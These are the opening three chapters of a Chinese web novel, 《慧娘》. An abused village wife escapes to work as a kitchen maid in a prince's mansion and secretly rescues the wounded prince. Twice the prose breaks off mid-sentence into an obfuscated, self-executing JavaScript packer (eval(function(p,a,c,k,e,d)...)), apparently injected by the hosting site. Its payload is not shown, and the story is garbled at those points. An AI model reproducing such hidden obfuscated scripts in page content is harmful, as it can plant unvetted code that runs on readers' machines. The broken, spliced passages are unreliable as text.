《慧娘》 1. 第 1 章 时值春二月,淫雨霏霏,连绵不绝的雨线仿佛密密麻麻的蜘蛛丝,缠在人的身上,黏黏糊糊,乱人心绪。 乌云沉甸甸地挂在头顶上方,压得人几乎喘不过气来。 慧娘背着包袱,打着已经破损不堪的油纸伞,回头看了一眼远处被雨雾笼罩,显得凄寂的破旧木屋,眼中麻木一如往昔。 片刻之后,她收回目光,踩着泥泞湿滑的道路,头也不回地向前走去。 * * * 她叫慧娘,生在乡下,长在乡下,又嫁了个乡下的丈夫。她的丈夫叫李元良,因脸上生了许多麻子,人便管他叫李麻子,一来二去的,他的真名便叫人给忘了。 李麻子是个赌鬼,又爱喝酒,每每输了钱喝醉了酒,便会拿她出气,非打即骂,打得最重的一次,她躺在床上一个月下不来床。 为了逃离那个家,她求了在楚王府当厨子的舅母,得以在府里谋了个粗使丫鬟的活儿。 她没有告诉李麻子她得了这个活儿,她怕他找上门闹事,所以拿出自己的私房钱,买了壶酒和下酒菜将他灌醉,看着他像死猪一般睡过去,她这才悄悄地跑了出来。 王二娘领着慧娘穿过轩敞的游廊,嘴里没完没了地细细叮嘱她。 “记住,王府不比乡下,手脚麻利一些,眼睛放灵光一些,不该看的别看,不该听的别听。” “也别到处乱跑,要听厨房管事大娘的话,她让你做什么就做什么,她喜欢听话乖巧的人,你要是得她喜欢,就可以在这府里扎下根了。” “我知晓了。”方才慧娘进府时,看到那巍峨壮丽的府邸大门,早就吓软了腿。她打定主意,一定要百倍万倍的小心,绝不能犯错被赶出府。她再也不愿意和李麻子同处一屋檐,每日受他磋磨。 王二娘扭头看了她一眼,见她低眉顺眼,唯唯诺诺,一副小家子气的模样,好在面庞生得端正,不惹人讨厌,再看她一身打了补丁,沾了泥水的衣服,不禁摇了摇头,有些嫌弃。 “我待会儿给你拿几件干净衣服,虽是我穿过的,但也比你这些衣服布料好得多。”她一眼扫到她脖子上一圈泛紫的痕迹,不禁又是摇了摇头。 “是。”慧娘一抬眸对上王二娘同情的目光,下意识地拉了拉衣领,试图掩盖住那掐痕。 “虽然只是打杂丫鬟,但也要穿得体面一些,免得丢了王府的脸面。”王二娘又道,这次的语气放温和许多。 她知道这丫头活得很苦,父母早故,嫁人不淑,在乡下生活,没父母兄弟照应,性格又不泼辣,就会被人欺负。 她的性格柔顺怯弱,丈夫打她,她不敢还手,人家骂她,她装作没听见,这么好欺负,人家不欺负她还能欺负谁? 且她人又孤僻,不喜与人来往,连个能帮她说话的人也没有,以后被丈夫打死了,估计也没人替她做主。 王二娘不忍她遭受丈夫毒打,这才答应给她找个活儿,好逃离她那个赌鬼丈夫。正好府里的烧火丫头因家中母亲病重,无人照料,她便辞了这活儿,回家去了,王二娘便与田芳介绍了慧娘。 她这种性情,这种样貌,要是长在城里,也断不至于活成这般,可惜造化弄人了。 细雨如毛,连绵不止。走廊外头落英缤纷,陷入泥泞之中,污了颜色,失了芳香。 慧娘突然听到一阵咿咿哑哑的奏乐声,不觉寻声看过去,见不远处的水榭里有好多人,穿得花花绿绿,戴着金光银光闪闪的饰品。 容貌秀美的婢女捧着香茗异果,美酒佳肴不停地往那头送去。 有几名衣着鲜丽的美丽少女似蝴蝶一般翩然散在何处,好像在玩追逐游戏。亭子里轻纱晃动,一条修长的黑影从里面奔出,顿时娇嗔声四起。 “让你别乱看!你怎么把我的话当做耳旁风!”李二娘斥道。 慧娘吓了一跳,忙将头埋得低低的,不敢再乱看,但耳朵她却没发堵住,一阵爽朗的大笑声忽然传过来,随之一道男声响起:“美人儿,抓到你了。” 她只觉得那声音很好听,就像是她在山间听到的清泉流淌过石上的声音。 * * * 王二娘先将慧娘带到了自己的屋里,让她换了身干净衣裳,才带她去见厨房管事大娘田芳。 田芳深深打量了慧娘一眼,看她生了张鹅蛋脸,细眉细眼,小巧鼻子小巧嘴,面皮无瑕疵,上上下下都捯饬得干净齐整,心中颇为满意,又问了慧娘家中一些情况。 王二娘交代过慧娘,千万别将自己偷跑出来的事如实相告,慧娘便说自己家中拮据,出来谋个活儿贴补家用,她不擅说谎,说这话时,几乎将脑袋埋到了地里头儿去,不敢直视田芳的目光。 烧火丫头不需要拔尖儿,只需要老实听话不偷懒耍滑即可,田芳瞧着她像是个安守本分的妇人,更加满意了。 “这丫头就交给你了,我还有事,得去忙了。”王二娘与田芳说完又叮嘱慧娘好好听话,便转身走了。 “待会儿就要开始准备飧食了,你先跟着我进厨房熟悉一下环境。”田芳道。 慧娘有些惊讶,午食还没过去多久,就要准备晚饭了? 看穿慧娘的想法,田芳笑道:“你当这里还是乡下么?一顿饭随随便便就能糊弄过去?光准备食账上的食材,再洗剥切剁,便要花费好一番功夫呢,你快随我来吧。” 慧娘连忙跟上她。 “你就负责烧火这一活儿,你别以为简单,你得同时盯着好几个灶炉,掌握好火候……” 慧娘一路听她训话,仔细地记着,不多会儿便来到了厨房。见厨婢庖丁都在厨房门口的飞来椅上打盹儿。 田芳深吸一口气,中气十足地喊道:“都醒醒!该干活了!” 那些人从梦中惊醒,看了眼田芳一眼,而后作鸟兽散,各自干各自的活去了,谁也没留意到慧娘这新来的小小烧火丫鬟。 慧娘随着田芳进入厨房,见里面高大宽敞,估摸着有她家几个大,房梁上挂着许多熏鸡腊肉、辣椒大蒜。墙角下是些大大小小的缸瓮,上头贴着字,米麦面粉、酱、醋、果脯腌菜、种类丰富,中间长案上则摆放着新鲜瓜果蔬菜以及新鲜肉类。 一眼望过去。目不暇接,堪比菜市。 慧娘的肚子不受控地咕噜咕噜地连叫好几声,她面皮一热,有些窘迫地看向田芳,她今日走得急,早饭还没吃,看着那么多能吃的东西,便觉饿得慌。 田芳也没笑话她,“你还没用午食?” 慧娘不爱说话,只是摇了摇头,忽意识到不妥,忙开口回答:“我们乡下人只吃早晚两顿。” “饿了也只能忍着了,午饭已经过了。这大厨房里的东西咱们下人是不能碰的。” 慧娘点点头,担心她心生不快,便很认真地保证:“我能忍的,有时候我一天不吃东西也能忍得,我一定不会偷吃这里的东西。” 慧娘没有说谎,她的确有过一天没吃东西的时候,那是因为李麻子输光了身上的钱,又找到了她的私房钱并偷去赌了,家中当时没米下锅,她只能饿着肚子挨了一日。 田芳有些惊讶,她是听她说家中拮据,却没想到穷困到这等地步,不免心生同情,“你放心,王爷不亏待咱们下人,虽说不是每天都能大鱼大肉,但一日三餐,每日一荤是能够保障咱们的。” 田芳说完有两名小厮抬着一头处理好的乳猪走进来。 田芳笑着对慧娘道: “你今日来得巧,王爷今夜要宴请宾客,食账上有道烤乳猪,到时搬到席上也就做做样子罢了,王爷以及那些贵人是不会吃这玩意儿的,最后这烤乳猪定赏下来给咱们,你初来乍到,我叫人给你留条烤猪腿,给你补补身子,看你一把骨头,别到时抬个腌菜瓮都抬不动。” 一听到烤乳猪,慧娘便忍不住吞了吐口水,她都忘了自己上次吃肉是什么时候。 每次给人洗衣服,做针线活儿换来的钱都被李麻子抢去偷去赌博买酒了。 家里生火做饭的是都是慧娘来做,李麻子只需屁股往椅子上一坐,拿起筷子享受成果。所以烧火这活对慧娘来说,本就不算难事,灶炉虽多,她手脚利索,上手很快,加上惦记着烤乳猪腿,干起活儿来十分卖力。 田芳看在眼里,很是满意。 掌灯时分,有衣着鲜丽的婢女鱼贯而入,将备好的酒菜依次送出,还有专门的人负责核对勾掉食账上送出去的菜品,以免出了差错。 王爷要办宴会,他们厨房的人需要很多人手,吃饭只能轮流去吃。一名叫做小桃的洗菜丫鬟带着慧娘去了下人的食堂,两人吃了晚饭过后,又回了厨房帮忙做点杂活,慧娘心心念念烤乳猪,没有吃得太饱。 然而,她等啊等,等到宴会结束,得到收工回屋洗漱睡觉也没有等到那条烤乳猪腿。 宴会上出了一大事。她是听同屋的洗菜丫鬟小桃说的,而小桃是从她的姨母田芳那里听说了这件事的。 听说王爷在宴会上大发雷霆,一官员血溅当场,席上山珍海味,美酒佳酿也扫落一地。 而那只烤乳猪很不幸地跟着它们一起喂了土。 听说这件事后,慧娘再也不惦记那烤乳猪腿了。这府里的主子也太可怕了,权力也太大了,一个官员竟然说杀就给杀了。 * * * 慧娘是个勤快的人儿,她主要是干烧火的活儿,但偶尔也帮着田芳做些力所能及的事情。田芳对她很满意,有什么好东西也会想着她,给她留一份。 虽是最底下的丫鬟,但在这一片小天地里,大家各自做着各自的活,忙得没时间去理会别人的事。她觉得日子很安稳,很美好,虽说也有点小吵小闹,但也是适可而止,不会拿起锄头砍刀便要喊打喊杀。 她很满意当下生活,愿意一辈子都这么过。因为太珍惜这样的生活,不免患得患失,夜里做噩梦,会梦见自己还和李麻子生活在那小小木屋里,挨他骂挨他打,还会梦到李麻子会找上门来,大吵大闹,面貌模糊的主人斥责她不守妇道,擅自逃离夫家,命人将她赶了出去。 惊醒过来,看到窗外的晨曦以及还没开花的海棠树,她瞬间感到庆幸无比,她安慰自己,这里是王府,守卫森严,不是什么人都能够进来的。 这府邸的主人也不是好惹的人物,甚至可以称得上是恐怖。 她一个厨房的粗使丫鬟是见不到那位的。 但她经常听到同屋的几名丫鬟偷偷讨论这位王府主子。 她们说,他在朝堂中翻手为云,覆手为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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穿过月洞门,忽而一道电光闪过,紧接着一声轰隆雷鸣,吓得慧娘差点丢了手上的灯笼,看着周围灰蒙蒙的一片,她心底瘆得慌,据说妖魔鬼怪最喜欢在雨夜游荡。 她想返回,但又憋不住尿意,想着随便找个地方解决算了,反正大雨会冲刷干净,她看向廊道外头的一桂花树,匆匆走过去正要挽起裙子,忽觉脚下软软的,好像踩到了什么东西,提灯一照,见是一人倒在那里,吓得她惊叫一声,往后连退几步,一屁股跌坐在地上,灯笼倒在一旁,灯火灭了。 那……那是一个人?慧娘看着那模糊的人形物,只觉得手脚发软,心扑通扑通几乎要跳出体外。 电光闪过,照清了周围的一切。 躺在草丛里的是一个穿着黑色衣袍的男子,乌黑的发遮了他一半的脸,但仍旧能看得出他很年轻,脸色白得犹如死人。他的腹部竟在流血! 他死了么?慧娘从未见过他,是府里的人?还是被人追杀逃到了这里?这里是后院,外头就是一条街,若他不是府里的人,很有可能人是爬墙进来的。 雷声过后,四周又变得一片漆黑。慧娘回过神来,忙捡起雨伞和灯笼,她伸手抹去脸上的雨水,想当做没看见这人,可她的良心又过不去那关,走了没两步,身体又好似有自我意识一般转了回去,她蹲下去,颤抖着手,紧张又害怕地伸手去探他的鼻息。 人还活着! 慧娘毫不犹豫地收起了伞与灯笼,将它们放到廊道里,然后一边着淋着大雨一边艰难地拖着那男子往不远处的柴房拖去。 周围太黑了,有时候看不清路,脚下绊倒什么,二人一同倒地,慧娘赶忙护着他的头,又毅然决然地爬起来,继续拖人,短短的路程,慧娘却费了九牛二虎之力,将近一炷香的时间才将人拖到了柴房里。 慧娘累得瘫坐在地,喘息不止,借着电光闪来,她看到他腹部的伤口鲜血不断涌出,心头一惊,赶忙找布条给他裹伤口,但柴房里只有柴草,哪里有干净的布? 慧娘尝试着撕他的衣服,他衣服质量太好,根本撕不动。无可奈何,只能撕自己的,同样也撕不动。 再这么下去,他估计会因为流血过多而死,慧娘慌乱间忽灵机一动,也顾不得许多,直接解下自己的抹胸,用它来包扎他的伤口。 包扎的过程慧娘发现他的腰很是窄细,和她的差不多,不过却硬邦邦的。不觉有些好奇他长什么模样,她伸手拨开黏在他脸颊上的乌发,恰几道银蛇般的闪电忽然劈下来,白茫茫中,她看清了他的容貌,不由得怔住。 慧娘大字不识一箩筐,她无法用很准确的词语来形容他的美。 但他让她想到了她曾看到的漫山遍野的艳丽杜鹃花,天上最圆最明亮的月亮,以及暮色时分,红艳艳,美得让人忍不住注目的晚霞。 而这种美模糊了性别。 电光过,屋黑如旧,仅惊鸿一瞥,他的容貌便深深映在了慧娘的脑海中。男子忽然动了下身子,嘴唇翕动轻哼一声,似乎想要说什么。 慧娘赶忙凑过去,“你没事吧?” 男子没醒过来,嘴里只呢喃着,“冷……冷……” 他浑身湿透,外头寒气袭人,再这么下去腹部的伤没要他命,就先被冻死了。慧娘犹豫片刻,跑出柴房捡起雨伞和灯笼,又跌跌撞撞地跑回住处,等她拿了被子出门,外头的雨已经停了,她赶回到柴房。 里面的人不见了。 慧娘怔怔地站在原地,若不是地上的血迹仍在,她会忍不住怀疑自己在做梦。 不知道过了多久,一阵狂风裹挟着凉意穿门而去,她遍体发冷,控制不住地打了个喷嚏。她苦笑一声,转身,拖着忽然变得沉重的身子一步一步往回走。 2. 第 2 章 次晨,慧娘一觉醒来,只觉得头重脚轻,嗓子发干发疼。想来是昨夜淋了雨,受了寒气,难受得要紧,但也歇不了,她挣扎爬起来,简单梳洗,便与小桃一起去厨房干活了。 小桃看出她面色不好,问她是不是生了病,慧娘也只说没事。她很能忍受痛苦,这点小病对她而言,没什么要紧,耽误了厨房的活儿才是大事。 一夜过后,乌云散尽,湿漉漉的庭院里落花落叶堆积,还没有人打扫。他们赶着给主子们做朝食呢。 厨婢庖丁们忙着洗菜切菜,慧娘则帮忙着烧火添柴,灶炉的火焰往外头呼呼地冒,驱赶了她身上的寒气,不一会儿,她又觉得燥热,额角冒出豆大的汗珠,口焦舌燥,她强忍着难受,继续干活。 给主子们的朝食做好,晨曦遍洒庭院,她们终于能够休息片刻。 用完朝食,慧娘回到了厨房,从小桃那里听闻送到王爷屋里的朝食原封不动地送了回来。 田芳担心食物味道不好,主子不喜吃,便试尝了下,和往日味道并无不同。她追出去找主子屋里的婢女,打听出来主子生了病,没有食欲。 田芳回来将此事告诉众人,大家皆松了口气,对她们厨房的人而言,主子生病与她们没什么关系,只要不是饭菜有问题,主子不爱吃便成,至于别的,就不是她们需要费心的了。 慧娘在这里待的时间长了,也看明白了,他们厨房这处可不止光做菜那么简单。 主子多吃一口,少吃一口,她们的心都得跟着起起伏伏。不求有功,但求无过,反正大的赏赐轮不到她们,不丢饭碗才是最重要的。 厨房暂时没活儿干了,慧娘独自一人回屋里,准备睡个回笼觉。她们起得早,只能趁着朝食过后休息片刻。 先前一直忙着干活,慧娘也没空去想别的事情,这会儿躺在床上,脑子晕晕乎乎间,忽然想起昨夜那名受伤的陌生男子。 不知晓他有没有事?是否还活着?他受了那么重的伤,流了那么多血,还淋了雨,应当很难活下去吧…… 慧娘心头一沉,虽与他素不相识,但一想到他那副受伤脆弱的模样,她就有些同情他。 大概也是因为想到了自己的遭遇吧。 但愿他好好活着。慧娘一边在心中祈祷一边连打几个喷嚏。 胸口发闷,慧娘伸手揉了揉,忽然想起一事,猛地坐起身,她差点把那事忘了,她的抹胸给人包扎伤口了,若他是府里的人,到时被人知道了,不会出事吧? 慧娘本就胀痛的头更加痛了,她倒回床上,后悔不迭,她当时怎么会想到用抹胸给人包扎伤口啊? * * * 慧娘一不小心睡过了头,等赶到厨房时,看到田芳正在与一衣着鲜丽的婢女陪笑。 慧娘知晓那婢女,她是府中锦瑟姑娘的贴身婢女,叫瓶儿。听小桃说,锦瑟姑娘是右相送给王爷的美人,十分受宠,狗仗人势,她的婢女在底下人面前嚣张跋扈,趾高气昂,一来厨房就要这要那,丝毫不客气。 这会儿她站在厨房门口,高高扬起下巴,不拿正眼瞧人,好似主子一般。慧娘低垂着头,轻手轻脚过去,但还是被她看到了。 瓶儿盯着慧娘,上下打量了一眼,见她穿着粗使丫鬟才穿的衣服,不觉冷笑一声,不悦道:“你们这不是有人手么?我看她这一副慢悠悠的模样,闲得很呢。” 田芳仍旧陪笑道:“她只不过是一烧火丫头,手脚粗笨,哪里够格给你家姑娘烤橘子啊。” 她家主子要吃烤的橘子,她给了她橘子和炉子,她不要,非要人烤好的,这会儿众人都忙着做午食,谁有闲工夫给她烤橘子,叫她迟一些再来,她也不肯。 慧娘只烤过梨,没烤过橘子,但估计也是同样的法子,她想一边烧火一边烤橘子也没事,但田芳没发话,她也不好抢言。 不等瓶儿答话,一清脆的声音插进来,“田大娘,你在呢。” 几人齐扭头看过去,瓶儿皱皱眉头。慧娘和田芳则暗叫不妙。 来人是春莺,她是姜桃姑娘的贴身婢女。 姜桃是皇帝赏给王爷的美人儿,同样十分受宠。这姜桃姑娘与锦瑟姑娘似乎在争宠,所以春莺和瓶儿也不对付。 平日里二人分开来要东西也就罢了,凑在一起真令人预感不妙。 她们来厨房已经很闹腾了,不知道前院那边得闹成什么模样,这王府中也没个正经夫人主持中馈。慧娘觉着古怪得很,这王爷也到了婚嫁年纪,他为何不娶妻呢?连个妾室都没有,只有几名连名分都没有的美人儿。 “春莺姑娘怎么来了?”田芳硬着头皮,笑着与她打招呼,她得笑,又不能笑得太过亲切,免得旁边的瓶儿不高兴。 “田大娘,你叫人煮些红豆薏米粥吧,我们姑娘要。”春莺见瓶儿在,便拿起了腔调。 瓶儿不满道:“先来后到,你不懂这道理?” 春莺觉着好笑,“厨房的人那么多,你要什么便去找人要啊,我又不拦着你。再说了,我是替姑娘办事,分什么先来后到?” 瓶儿气笑了,“难道我就不是替我家姑娘办事?”她扭头看向田芳,“总之,我们姑娘现在就要吃这烤橘子。” 春莺冷哼一声,“原来是你家姑娘要吃的啊。”说着也看向田芳,“田大娘,我们姑娘要这个红豆薏米粥可不是因为贪嘴,是要给王爷送去的,姑娘说王爷生了病,吃一些清淡的粥比较好,这红豆薏米也是王爷爱吃的。我们姑娘是心疼王爷的病呢。” 她冷冷瞅一眼的瓶儿,“瓶儿,你自己掂量掂量还要不要分个先来后到?” 瓶儿哑然,脸色极其难看,她话说到这份上,她哪能再说什么,说得要分个先来后到,到时传到王爷和她人耳朵里,人只当她家姑娘嘴馋,连王爷的病也不管不顾。 瓶儿满腔憋屈,忍不住阴阳怪气道:“你姑娘如此贴心,怎不亲自煮粥送去。动动嘴皮子的事谁做不到?” 春莺反唇相讥,“偏偏有些人动动嘴皮子都做不到,只顾着自己一人享受呢。” 瓶儿气得面红耳赤,“你……” 眼看二人吵闹不休,田芳烦不胜烦,赶忙凑过去当和事老,陪了许多好话,这才令二人消气。 这烤橘子暂时没法弄,瓶儿先回去复命了。田芳腾出人手去煮红豆薏米粥,没办法,人都说了,这粥是给生病的王爷送去的。 在这府中,王爷永远排第一位,其余人再受宠也是在王爷之下,绝无可能骑在王爷头上作威作福,一旦王爷收回恩宠,她们也就没了耀武扬威的倚仗。 “别添太多柴火,待会儿粥糊了。” 春莺站在灶台前,叉着腰,冲着默默添柴的慧娘道。 “是。”慧娘低眉顺眼,也不与她争,方才听她与瓶儿争吵,知她嘴巴厉害,她要是反驳一句,估计讨不到好果子吃。她此刻头昏目眩,浑身发烫,也没力气说话了。 “你打开盖子我瞧一瞧,看是不是水放少了。” 慧娘解释:“春莺姑娘,水不会少,我算好了的。” 春莺柳眉倒竖,气道:“我叫你打开就打开,你啰嗦什么?” 慧娘听了她叽里呱啦的声音,只觉得耳朵嗡嗡地响,像是只马蜂萦绕在她耳边,吵得她头愈发地疼,她站起身,却因为起得太急,眼前忽地一黑,双腿一软,便往旁倒去。 慧娘心头一惊,下意识地抓住了什么,然还没站稳,便被人狠推了下,随即跌倒在地。她感觉头天旋地转,一时间也爬不起来。 “瞎了眼的东西,站都站不稳,弄脏了我的衣服。”春莺一边掸衣一边斥骂道。 田芳不在,厨房里忙碌的庖丁婢女们既放不下手头的活儿,也不愿意招惹春莺,便当做没看见没听见。 春莺瞥见慧娘神情呆怔木然,脸颊酡红,额角不停地冒汗,看着不大好,怕闹出事来,她便没有再继续为难她。 “好好看着火,把粥煮糊了,仔细你的皮!”春莺伸出脚踢了她一下,便扭头出了厨房。 春莺走后,一厨婢走上来扶起慧娘,慧娘抬眸一看,是她屋里的菊花,便冲她一笑,“我没事。” 她的确没事,相比她先前所遭受的那一些,春莺的举动根本算不了什么,也伤不了她的自尊心,兴许在常年的打骂之下,她的心早已变得麻木。 “你脸色看着不大好啊。” “被火烤的。” 慧娘赶忙解释,她不想被人知晓生病的事情,要是耽误干活,田芳会觉得她没用,将她辞了吧? 她强撑起身子,继续做事,她能忍,只要她能继续留在王府。 身后传来厨婢的抱怨声: “什么苦活累活都归咱们,人家只要动动嘴皮子,可能就会让主子喜笑颜开,换回一堆赏赐。至于这红豆薏米粥谁煮的,又有哪个在意?” “说到底是咱们没人家那命,就老老实实认命吧。” “凭什么要认命啊……” “行了,别抱怨了,被人听到了不好……” 那声音渐渐地,仿佛从很遥远的地方飘过过来,有股不真切的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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慧娘心中惊愕,询问缘由,田芳也不知晓。 慧娘惴惴不安地跟着田芳出了房间。 瓶儿在门口候着,见到慧娘,冷冷说了句:“随我走吧。”便径自扭头而去。 慧娘随着瓶儿来一院子里,院子里花木扶疏,假山堆叠。进了屋,见窗明几净,锦天绣地,很是富丽。前面榻上坐着一穿着石榴花色长裙,发挽高髻的美人儿,杏脸桃腮,沉鱼落雁,一双水眸,顾盼多情。 慧娘第一次踏足这种地方,第一次见府里的宠姬,不免有些不知所错,担心自己的脚踩脏了洁净的地板,担心自己说错了话冲撞了贵人。她连行礼也不会,低着头,双手僵硬地垂着。 锦瑟打量了她许久,将她的木讷与朴实看在眼里,她微微一笑,开门见山地问:“昨日是你给王爷煮的红豆薏米粥?” 慧娘手指一颤,低声应:“是的。”内心不禁胡思乱想,是不是她煮的粥出了问题? 一旁的瓶儿斥道:“大点声,没吃饭么?” 锦瑟嗔了她一眼,“瓶儿,莫要吓到她。” 瓶儿将下巴一低,恭谨地回了声:“是。”脸上却淡定如初。 锦瑟看向姑娘,笑容温柔亲切,“听说王爷昨日把你煮的红豆薏米粥吃完了,还说味道不错,比往日煮得要好,姜桃因此得了赏赐,按理说,这功劳原是属于你的,结果你却什么也没得到。你觉得委屈么?” 慧娘连忙摇了摇头。 “真是个老实人,你不委屈,我倒是替你委屈。” 慧娘不语,她不傻,虽不知她找她前来意欲何为,但她知晓她与姜桃姑娘是敌对关系,她估计正想着办法去对付她,她不想卷入其中,被人利用。 锦瑟见状笑了笑,转移话题:“你会烤橘子吧?”她从几上盘子里拿起一橘子,递给她。 慧娘怔了下。瓶儿伸手将她往前一推,“还不去拿。” 慧娘硬着头皮挪步过去,手在衣上擦拭了下,才小心翼翼地伸手接过橘子,并回答:“我只烤过梨。” 锦瑟拿起帕子,慢悠悠地擦拭被慧娘碰到的指尖与手背,语气和善:“无妨,你就试一试,做得好有赏,我这人不会亏待为我做事之人。” 瓶儿将她带到炉子前,便催促她赶紧干活儿。慧娘没办法,只能将炉子烧热,按照烤梨的法子去烤橘子。 她心中有些不解,这锦瑟姑娘叫她来就只是为了让她烤橘子?正想着,一道女声从外头传进来: “王爷到。” 3. 第 3 章 慧娘听到“王爷”二字,身体本能地打了个哆嗦。虽未见其人,但听了他那么多传闻,她对他的恐惧早已刻进心底。她垂下头,恨不得缩成一团然后消失不见。 楚王赫连晔跨进门槛时,经过慧娘身边时,她看到他银线滚边,洁净如雪的靴面,以及华美飘逸的袍摆。一股竹木清香悠悠地飘荡到她的鼻尖,她不觉屏住呼吸。 “王爷,您身体抱恙,怎还过来?”锦瑟从榻上起来,语气难掩欢喜。 “已然无碍。” 他的声音很好听,也很轻柔,丝毫让人联想不到他是个残暴与冷血的人。 “王爷,你坐,瓶儿赶紧去泡茶。” “好几日没来看你了,你过得如何?” 慧娘总觉得他这声音有些熟悉,不自觉地抬眸看了一眼,却只看到了他的背影,穿一袭雪色大襟宽衫,长发半挽及至腰际,宽肩窄腰,身段修长,一眼看过去好似有些羸弱,一推就倒的感觉。 这真是传闻中那翻手为云覆手为雨,残暴不仁的王爷么?就在他转身那一霎,慧娘吓得忙将头一低,根本不敢看他的正脸,她手拿铁钳,将炉子上的橘子翻了个面,但因为太过于紧张惶恐,指尖控制不住地颤抖着。 “我们姑娘一直盼着王爷来呢,这几日没见到王爷,她一直愁眉苦脸,唉声叹气,饮食也少减了。”瓶儿抢言道。 锦瑟嗔怪她道:“你这多嘴多舌的丫头,谁问你话,倒完茶,快快滚出去。” “是。”瓶儿笑道。 锦瑟目光凝在赫连晔面上,“我昨日想去看你,你的婢女却不给我进。”她语气略显抱怨。 “是我的错,我昨日与她们说不见任何人,她们便拿这句话当做了铁令,做事不知变通。”赫连晔话说得委婉,给足了她面子。 锦瑟轻哼一声,“也罢,妾身蒲柳之姿,是比不过某人的了,人也笨,做不了王爷的解语花。” 赫连晔失笑,目光不经意间扫到不远处,正安安静静烤着橘子的慧娘,他很少会去留意底下人,只是这婢女的打扮与气质与这屋子里的一切都格格不入,有些……碍眼。 锦瑟注意到他的目光,笑道:“她手艺好,我从厨房那里把她要了过来,让她烤些橘子给你送过去,你这会儿生着病,生吃橘子不好,烤橘子可止咳润肺。” 赫连晔手抵着唇轻咳了下,“有心了。不过这烤橘子也不是难事吧,何必专门去厨房要人。” “那还不是为了你,你昨日吃的红豆薏米粥还是她煮的呢。” “哦?”赫连晔声音似乎有些兴味。 慧娘有自知之明,她脑子不算特别聪明,别人给她设陷阱,她就算不想跳,也不知道该往哪儿躲,也没本事躲。至于天下掉馅饼的事,她也不妄想,她没那运气。 所以此刻她的心里头只有谨慎,没有喜事降临到自己身上的兴奋。 “你叫什么名字?” 慧娘小心抬眸看了眼锦瑟,见她盯着自己,便回:“慧娘。” “橘子烤好了么?” “好了。” “拿过来。” 慧娘将烤好的橘子夹进盘中,将手浸入一旁的盥盆中,清洗擦拭干净,才端着盘子,低眉顺眼走到锦瑟面前。 锦瑟面冲赫连晔,向慧娘使了个眼色。慧娘面色一僵,却不得不硬着头皮转身往赫连晔那处走去,她视线始终盯着地面,不敢看那人。 将烤橘放在他身旁的茶几上时,她不觉抬高视线,猝不及防地便看到他的正脸,惊愕地发现他竟是那个受伤的男子。 慧娘慌乱中将盘子放错位置,“砰”的一声摔落地上,那橘子却滚落到赫连晔的衣袍上。 赫连晔垂眸看了眼烤橘,蓦然朝着她投去一眼,面容十分冷峻,似一座冷面煞神。 慧娘险些吓得丢魂,想也没想就要伸手去拿橘子,浑然不觉橘子的位置多么令人尴尬,还没碰到橘子,手腕被赫连晔紧紧抓住。 慧娘因为太过害怕,没察觉赫连晔的手忽然松了下,随后又攥紧。她低着头,浑身怕得打颤,一动不敢动。 “真是笨手笨脚的蠢奴,瓶儿,把她拖下去打几板子,叫她以后机灵一些。”锦瑟娇斥道,她没想到给她机会都不中用,还连累到自己。 “罢了。”赫连晔放开了她,“以后莫让她出现在我面前便行。”他面色如常,拿起袍上的橘子放在几上,又慢条斯理地掸了掸衣袍,起身唇绽浅笑:“我先回了。” “我送你。”锦瑟冲着赫连晔盈盈一笑,又暗暗瞪了慧娘一眼,才将赫连晔送出门口。 目送他走远后,锦瑟沉了沉眸子,陷入思索。别看他外表温柔随和,实则心冷如冰,他这么轻易就放过了那蠢婢,是在给她面子,还是因为那一碗红豆薏米粥?她有些看不懂了。 锦瑟虽恨不得打慧娘几板子出气,然王爷发了话,也不愿意多生是非,便让慧娘回了厨房,至于赏赐什么的,她想也都别想了,笨手笨脚的蠢婢,这辈子也只能待在厨房烧火,上不得台面。 * * * 慧娘怎么都没想到,自己那晚上救的人竟然就是这府邸的主人楚王,其实仔细想一想,早有端倪,他容貌生得很美,符合她听到的那些传言,他性情残暴,肯定有不少仇家想要取他性命,所以被人捅一刀,他逃回府中,不小心晕了过去也符合常理。 她当时怎么就没想到这些事呢?锦瑟姑娘骂她蠢真是没有骂错。 不过,她方才犯了那么大的错误,他却只是冷了脸,也没有打骂她,甚至阻止锦瑟惩罚自己,这般宽宏大量,体恤下人,和传闻中的扭曲残暴有所差别。 难不成他认出了自己?脑海中这一念头刚起便立刻被慧娘否定。 不可能,他当时一直昏迷不醒,后来浑浑噩噩要水喝,眼睛也没睁开,加上四周一片漆黑,他怎么会看清她的脸?况且他方才一点异样的反应也没有。 慧娘猜来猜去也猜不透,索性不去想这件事了。但走了几步,她脚步忽然一顿,脸色变得凝重。 她一定要死守这个秘密,王爷既然对外称病,便是不想让人知道这件事,要是被他知晓那天晚上的人是她,他不一定会心生感激,还有可能会杀人灭口。 慧娘心中一怵,背后泛起一层冷汗。 赫连晔回到自己的院子,挺如青松的身姿忽然摇晃了两下,一旁的婢女非烟忙伸手扶住他,“王爷,您没事吧?” “无妨。”赫连晔微微一笑,满不在意地道,他抬手捂着腹部,在婢女的搀扶下,脚步虚浮地往屋内走去。 刚迈上石阶,他另一婢女弄影快步从屋内走出来,神情严肃,低声道:“王爷,他来了。” 赫连晔脸上并无惊讶之色,“嗯”了声,视线落向屋内,眸光显得幽深无际。 不等他进屋,一穿着锦衣华服,金冠玉带,英俊魁梧的男人自屋内走出,一双睨视万物的龙目掠过赫连晔苍白憔悴,却又不掩绝美之姿的面庞时,才有了些许人味儿。 “陛下。”赫连晔唤道,声音温柔似水。 男人目光落在赫连晔身上,他单薄瘦削的身体被一袭轻盈飘逸的白衣裹着,似一件上等白瓷,美好而易碎,容颜似三月桃花,秀眉似远山青,眼眸宛如月下春湖,潋滟含情。 这样的柔美脆弱他而言,比女人更有吸引力。 * * * 慧娘一回到厨房,小桃等人便围了上来,好奇地询问锦瑟找她做什么。慧娘没多说什么,只说了烤橘子的事。 小桃感慨:“都是些金贵的人啊,烤个橘子如此简单之事还要派人来厨房要人,要是离了咱们,她们还活得成么?” 话音刚落,胳膊一阵剧痛,却是被田芳狠狠拧了下。 “你再胡言乱语,待会儿就叫你活不成。”田芳气道,“都做事去,堵在门口做什么?!” 